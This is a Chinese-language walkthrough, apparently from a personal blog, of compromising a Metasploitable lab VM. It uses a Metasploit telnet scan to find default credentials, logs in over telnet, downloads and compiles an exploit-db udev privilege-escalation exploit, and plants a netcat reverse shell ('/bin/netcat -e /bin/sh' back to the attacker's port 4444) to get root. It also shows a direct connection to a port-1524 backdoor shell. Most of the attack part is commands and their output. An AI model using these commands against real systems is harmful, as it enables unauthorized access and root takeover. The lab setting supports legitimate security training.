方法1.
msf >use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
Name ? ? ?Current Setting ?Required ?Description
---- ? ? ?--------------- ?-------- ?-----------
PASSWORD ? ? ? ? ? ? ? ? ? no ? ? ? ?The password for the specified username
RHOSTS ? ? ? ? ? ? ? ? ? ? yes ? ? ? The target address range or CIDR identifier
RPORT ? ? 23 ? ? ? ? ? ? ? yes ? ? ? The target port
THREADS ? 1 ? ? ? ? ? ? ? ?yes ? ? ? The number of concurrent threads
TIMEOUT ? 30 ? ? ? ? ? ? ? yes ? ? ? Timeout for the Telnet probe
USERNAME ? ? ? ? ? ? ? ? ? no ? ? ? ?The username to authenticate as
msf auxiliary(telnet_version) >set rhosts 192.168.86.129
rhosts => 192.168.86.129
msf auxiliary(telnet_version) >exploit
[*] 192.168.86.129:23 TELNET _ ? ? ? ? ? ? ? ? ?_ ? ? ? _ _ ? ? ? ?_ ? ? _ ? ? ?____ ?\x0a _ __ ___ ? ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | | ?__/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | ?__// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a ? ? ? ? ? ? ? ? ? ? ? ? ? ?|_| ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?\x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin withmsfadmin/msfadminto get started\x0a\x0a\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(telnet_version) >
msfadmin用戶登錄：
提權(quán)（轉(zhuǎn)載）：
1.打開一個終端：
netcat -vlp 4444#監(jiān)聽444端口
2.打開另一個終端：
telnet 192.168.86.129#telnet連接目標(biāo)主機(jī)，以msfadmin普通用戶登錄
msfadmin@metasploitable:~$pwd
/home/msfadmin
msfadmin@metasploitable:~$ls
vulnerable
msfadmin@metasploitable:~$wget http://www.exploit-db.com/download/8572
--09:09:34-- ?http://www.exploit-db.com/download/8572
=> `8572'
Resolving www.exploit-db.com... 23.23.150.193, 23.23.129.3
Connecting to www.exploit-db.com|23.23.150.193|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.exploit-db.com/download/8572/ [following]
--09:09:40-- ?http://www.exploit-db.com/download/8572/
=> `index.html'
Reusing existing connection to www.exploit-db.com:80.
HTTP request sent, awaiting response... 200 OK
Length: 2,768 (2.7K) [application/txt]
100%[==============================================>] 2,768 ? ? ? ? --.--K/s
09:09:45 (74.99 MB/s) - `index.html' saved [2768/2768]
msfadmin@metasploitable:~$ls
index.htmlvulnerable
msfadmin@metasploitable:~$mv index.html exploit.c
msfadmin@metasploitable:~$ls
exploit.cvulnerable
msfadmin@metasploitable:~$gcc exploit.c -o exploit
msfadmin@metasploitable:~$echo '#!/bin/sh' > /tmp/run
msfadmin@metasploitable:~$echo '/bin/netcat -e /bin/sh 192.168.86.1 4444' >> /tmp/run
msfadmin@metasploitable:~$ps -edf |grep udev
root26921 ?0 06:27 ? ? ? ? ?00:00:00 /sbin/udevd --daemon
msfadmin ?5782 ?5745 ?0 09:13 pts/1 ? ?00:00:00 grep udev
msfadmin@metasploitable:~$./exploit 2691#這里2691=2692-1
msfadmin@metasploitable:~$
ok，打開前面監(jiān)聽444端口的那個終端看看！
方法2.
這是從一個視頻教程中看到的方法，用amap掃目標(biāo)主機(jī)，掃到如下信息：
然后telnet 172.16.177.128 1524就直接連接了！
